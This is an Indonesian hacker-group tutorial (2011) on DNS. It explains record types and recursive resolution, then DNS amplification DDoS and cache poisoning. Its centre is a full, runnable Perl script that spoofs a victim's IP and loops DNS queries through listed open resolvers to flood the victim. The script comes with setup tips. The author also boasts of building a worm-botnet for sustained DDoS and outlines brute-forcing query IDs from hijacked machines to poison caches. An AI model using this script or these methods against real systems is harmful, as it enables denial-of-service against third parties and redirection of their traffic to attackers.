DNS Amplification Attack DDOS

by: ev1lut10n

thanks to: 
flyf666,gunslinger,petimati,peneter,ketek,chaer,wenkhairu,wahyu,n0te,blackn0te,kumbang 
and all devilzc0de crew and members

sebelum kita mulai mari kita pahami beberapa term yang berhubungan dengan 
permainan kita kali ini


- Query ID (QID) 
juga biasa disebut TXID (Transaction ID), merupakan nomor identifikasi 
transaksi khusus saat nameserver melakukan proses terhadap suatu query. 
qid ini pasti selalu ada di setiap query !!

- cname
juga dikenal sbg alias suatu domain
misal:
hostname -v www.yahoo.co.id

cname:
;; ANSWER SECTION:
www.yahoo.co.id.	7199	IN	CNAME	rc.yahoo.com.
rc.yahoo.com.		300	        IN	CNAME	
rc.g01.yahoodns.net.
rc.g01.yahoodns.net.	300	IN	CNAME	sg-rc.g01.yahoodns.net.

- A
record ip address
misal berikut ini adl contoh A record :
jasakom.com.		8347	IN	A	64.57.208.81

ip address: 64.57.208.81

- MX
record mail berguna menangani email dari domain

# dig jasakom.com MX

; <<>> DiG 9.5.0-P2.1 <<>> jasakom.com MX
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62687
;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;jasakom.com.			IN	MX

;; ANSWER SECTION:
jasakom.com.		14400	IN	MX	5 alt1.aspmx.l.google.com.
jasakom.com.		14400	IN	MX	10 aspmx3.googlemail.com.
jasakom.com.		14400	IN	MX	10 aspmx2.googlemail.com.
jasakom.com.		14400	IN	MX	10 aspmx5.googlemail.com.
jasakom.com.		14400	IN	MX	5 alt2.aspmx.l.google.com.
jasakom.com.		14400	IN	MX	10 aspmx4.googlemail.com.
jasakom.com.		14400	IN	MX	0 aspmx.l.google.com.

;; Query time: 250 msec
;; SERVER: 202.73.99.2#53(202.73.99.2)
;; WHEN: Fri Apr 15 02:20:31 2011
;; MSG SIZE  rcvd: 205


- SOA
record yg berisi data zone  (email admin, alamat,dll)
misal ketika sy ketik: host -v devilzc0de.org , SOA nya:
;; AUTHORITY SECTION:
devilzc0de.org.		9542	IN	SOA	satu.maxoz.com. 
petimati85.yahoo.com. 2011031702 7200 7200 172800 7200


- NS
record nameserver dari domain 
untuk melihat record nameserver domain bisa menggunakan dig:



http://4.bp.blogspot.com/-9T664PPaPqk/TaePcqc06SI/AAAAAAAAAQs/Hqup-3dj_qk/s320/ns0.jpg



- Rekursif
merupakan metode untuk memproses dns request dari klien, di sini si 
nameserver akan mencari authoritative nameserver. 
 
- zone
suatu zona dari domain berisi dns record untuk suatu domain (ex zone : 
devilzc0de.org , www.devilzc0de.org , chaer.devilzc0de.org)

-authoritative dan non authoritative nameserver
daemon suatu nameserver bertujuan memberikan dns reply yg berisi alamat ip 
dari domain, jika dijawab langsung -> authoritative nameserver , jika 
tidak : non authoritative nameserver.

-resolver
di sisi klien bertujuan meresolve ip dari suatu domain
misal di mesin ini:


http://4.bp.blogspot.com/-CinTLjAN9cs/TaeP7aRFJuI/AAAAAAAAAQ0/vgHtgA1F_zE/s320/ns1.jpg



saat terjadi query suatu domain misal devilzc0de.org maka resolver kita 
akan mengontak nameserver terdekat yaitu: 202.73.99.2 untuk menanyakan ip 
devilzc0de.org selanjutnya nameserver akan memeriksa cachenya jika 
ditemukan maka akan langsung dijawab, jika tidak maka nameserver akan 
mencari authoritative nameserver yang menangani devilzc0de.org.

- recursive nameserver
tujuanya mencari data tentang zona suatu domain dari internet.

-TTL 
time to live ? berapa lama record dns akan disimpan di cache ???

- Glue Record
merupakan additional section



http://1.bp.blogspot.com/-wBtMe7-In30/TaeQDXgW9eI/AAAAAAAAAQ8/R6MZRcHXZRU/s320/ns2.jpg




- Root Name Server
ada 13 root name server di dunia (belum termasuk mirrornya), bertujuan 
membalas request berupa autho.yg terlihat dari mesin ini:

a.root-servers.net.	393816	IN	A	198.41.0.4
a.root-servers.net.	393816	IN	AAAA	2001:503:ba3e::2:30
b.root-servers.net.	393816	IN	A	192.228.79.201
c.root-servers.net.	393816	IN	A	192.33.4.12
d.root-servers.net.	393816	IN	A	128.8.10.90
e.root-servers.net.	393816	IN	A	192.203.230.10
f.root-servers.net.	393816	IN	A	192.5.5.241
f.root-servers.net.	393816	IN	AAAA	2001:500:2f::f
g.root-servers.net.	393816	IN	A	192.112.36.4
h.root-servers.net.	393816	IN	A	128.63.2.53
h.root-servers.net.	393816	IN	AAAA	2001:500:1::803f:235
i.root-servers.net.	393816	IN	A	192.36.148.17
i.root-servers.net.	393816	IN	AAAA	2001:7fe::53
j.root-servers.net.	393816	IN	A	192.58.128.30



* Cara Kerja DNS REKURSIF

-  no cache at isp (recursive)
1. misal jika saya melakukan dns query untuk mendapatkan A Record dari 
domain devilzc0de.org berupa alamat ip
2. mesin ini mengontak ISP untuk mendapatkan alamat ip, di sisi ISP tidak 
ditemukan cache, isp (rekursif) meminta informasi nameserver  dns query ke 
root name server,
ada 13 root name server di dunia ini  (ipnya jarang diganti, pernah 
menjadi target ddos cracker, liat info: 
http://en.wikipedia.org/wiki/Distributed_denial_of_service_attacks_on_root_nameservers  
): 
a.root-servers.net.	397017	IN	A	198.41.0.4
b.root-servers.net.	397017	IN	A	192.228.79.201
c.root-servers.net.	397017	IN	A	192.33.4.12
d.root-servers.net.	397017	IN	A	128.8.10.90
e.root-servers.net.	397017	IN	A	192.203.230.10
f.root-servers.net.	397017	IN	A	192.5.5.241
f.root-servers.net.	397017	IN	AAAA	2001:500:2f::f
g.root-servers.net.	397017	IN	A	192.112.36.4
h.root-servers.net.	397017	IN	A	128.63.2.53
h.root-servers.net.	397017	IN	AAAA	2001:500:1::803f:235
i.root-servers.net.	397017	IN	A	192.36.148.17
i.root-servers.net.	397017	IN	AAAA	2001:7fe::53
j.root-servers.net.	397017	IN	A	192.58.128.30


- isp's cached  ???
 1. misal jika saya melakukan dns query untuk mendapatkan A Record dari 
domain devilzc0de.org berupa alamat ip 
 2. mesin ini mengontak ISP untuk mendapatkan alamat ip, jika alamat ada 
di cache ISP maka dns reply langsung dikirim berisi A Record ip 
devilzc0de.org : 119.235.27.196
 root@bt:~/djbdns-1.05# host devilzc0de.org
  devilzc0de.org has address 119.235.27.196
 root@bt:~/djbdns-1.05# 
 3. mesin ini mengontak alamat ip 119.235.27.196 


3. selanjutnya rootname server memberikan informasi GTLD -GTLD (Global Top 
Level Domain) yang menangani .org  misal :  A.GTLD-SERVERS.ORG, 
B.GTLD-SERVERS.ORG, C.GTLD-SERVERS.ORG yang selanjutnya akan dipilih 
secara random

4. selanjutnya GTLD akan terus diacak hingga akhirnya didapatkan informasi 
authoritative nameserver untuk devilzc0de.org 

;; ANSWER SECTION:
devilzc0de.org.		10964	IN	A	119.235.27.196

selanjutnya reply akan dikirim ke nameserver ISP 


5. nameserver ISP menyimpan informasi tadi ke cache ISP dan selanjutnya 
memberikan informasi alamat ip devilzc0de.org ke mesin ini.

6. selanjutnya mesin ini mengontak alamat ip devilzc0de.org untuk 
komunikasi tcp biasanya diawali dengan mengirim SYN




* DNS Amplification Attack

Teknik ini dilakukan dengan melakukan spoofing src ip pada query suatu DNS 
ke recursive nameserver dengan tujuan nameserver mengirimkan dns reply ke 
ip target yg dispoof oleh zombie (diperlukan raw ip dan privilege root), 
dg skenario dns amplification ini akan membanjiri ip target dengan dns 2 
reply, bertujuan membuat berat kinerja router.


berikut ini adalah sample kode perl yang mengimplementasikan dns 
amplification attack  , sumber kode : 
http://packetstorm.unixteacher.org/0710-exploits/spoofer2.pl.txt silahkan 
dipelajari dan dimengerti (kodenya pendek jd sy yakin mudah dipahami). 

#!/usr/bin/perl
# Get Net::RawIP at 
http://search.cpan.org/CPAN/authors/id/S/SZ/SZABGAB/Net-RawIP-0.21_01.tar.gz
# cpan Net::DNS:Resolver seems to work fine on each machine I throw it on, 
as well.
# PS: To see if you can spoof, check out the ANA Spoofer project.
# http://spoofer.csail.mit.edu/
#
# Written by Shadow
# irc.dark-irc.net #thecorpz
# chemshadow@gmail.com

use Net::DNS::Resolver;
use Net::RawIP;
use strict;

# Populate this list with domain names with lots of A records. IRC server 
DNS pools are a good place to look.
# Maybe get a cheap throwaway domain and add your own A records.
my @name = ("irc.efnet.net", "irc.dal.net", "irc.undernet.org", 
"irc.freenode.net");
my $names = "3"; #number of entries in @name, minus one.

# Populate this list with ONLY open, recursive dns servers.
# http://www.dnsstuff.com/ - Block their cookies to use the site w/o 
paying.
my $nameservers;
my @nameservers = ("205.234.223.168", "64.202.117.121", "208.80.184.69", 
"200.255.59.150") #4 entries.

my $reflectors = "3"; # Number of entries in @nameservers, minus one.
my $debug = 1; # Change to 0 if you don't wanna have your console flooded.

##########################
# END USER CONFIGURATION #
##########################

my $str;
my $name;
my $src_ip;
my $reflector;
$src_ip = $ARGV[0];

if ($ARGV[0] eq '') { print "Usage: " . $0 . " <IP>\n"; exit(0); }
print ("Hitting $ARGV[0]\n");

for (my $i=0; $i < 256; $i++) {
    # Make DNS packet
    my $dnspacket = new Net::DNS::Packet($str, "A", "IN");
    my $dnsdata = $dnspacket->data;
    my $sock = new Net::RawIP({udp=>{}});
    # send packet
    $str = @name[int rand($names)];                            # Select 
entry from @name
    $reflector = $nameservers[int rand($reflectors)];          # Select 
entry from @nameservers
    $sock->set({ip => {
                saddr => $src_ip, daddr => "$reflector", 
frag_off=>0,tos=>0,id=>1565},
                udp => {source => 53,
                dest => 53, data=>$dnsdata
                } });
    $sock->send;
    if ($debug eq "1") { print "Me -> " . $reflector . "(DNSing " . $str . 
")" . " -> " . $src_ip . " \n"; }
    $i = 0;
}
exit(0);



untuk menjalankan skrip di atas diperlukan priv root,

kurang lebih seperti ini gambaran skenario untuk dns amplification attack:


http://www.corecom.com/external/livesecurity/dnsfig1.jpg



Khusus untuk dns amplification attack sedang sy kembangkan suatu kombinasi 
botnet dan worm dan ini sudah sy lakukan selama 2 tahunan. dengan 
mengkombinasikan worm dan botnet bertujuan menciptakan efek ddos jangka 
panjang.


apakah bahaya lainya dari recursive nameserver ????????


* DNS Cache Poisoning
dns cache poisoning ini adalah salah satu metode penyerangan dns yang 
terdokumentasi. kali ini kita akan membahas beberapa metode (lama dan 
baru).
DNS Cache Poisoning bertujuan merubah / menambah cache resolver dg tujuan 
DNS Query ke resolver mengembalikan ip dari domain attacker bukan ip 
domain asli yang seharusnya dituju.

DNS cache poisoning ini bisa diterapkan bukan hanya untuk nameserver dari 
domain target tapi juga bisa diterapkan pada nameserver ISP 2.

untuk melakukan dns cache poisoning kita perlu mengetahui informasi2 ini:
-  prediksi QID (transaction id yg sy sebutkan di atas tadi)
-  prediksi source port
-  kita harus bisa memberikan dns reply lebih cepat dari yg aslinya.

jadi inti dari dns cache poisoning adl jika kita bisa meracuni cache dari 
suatu nameserver dengan mengirimkan dns reply dengan qid , source port 
yang tepat sehingga data yg intinya berisi A RECORD ip kita sbg attacker 
akan disimpan di cache nameserver.


setelah adanya BIND 9 PRNG eksploitasi menjadi bertambah sulit untuk 
menebak QID krn qid menggunakan angka acak yg digenerate berdasarkan 
/dev/random. 

informasi QID didapatkan dari brute force. sayangnya akan sangat sulit 
melakukan brute force dengan koneksi internet kita, brute force menjadi 
lebih efektif jika kita bisa mentake over mesin dengan bandwith tinggi dg 
routing dengan hop pendek ke nameserver korban.


http://2.bp.blogspot.com/-weJs4vAVBXY/TaeQKIyofyI/AAAAAAAAARE/X4i1ADThXec/s320/ns4.jpg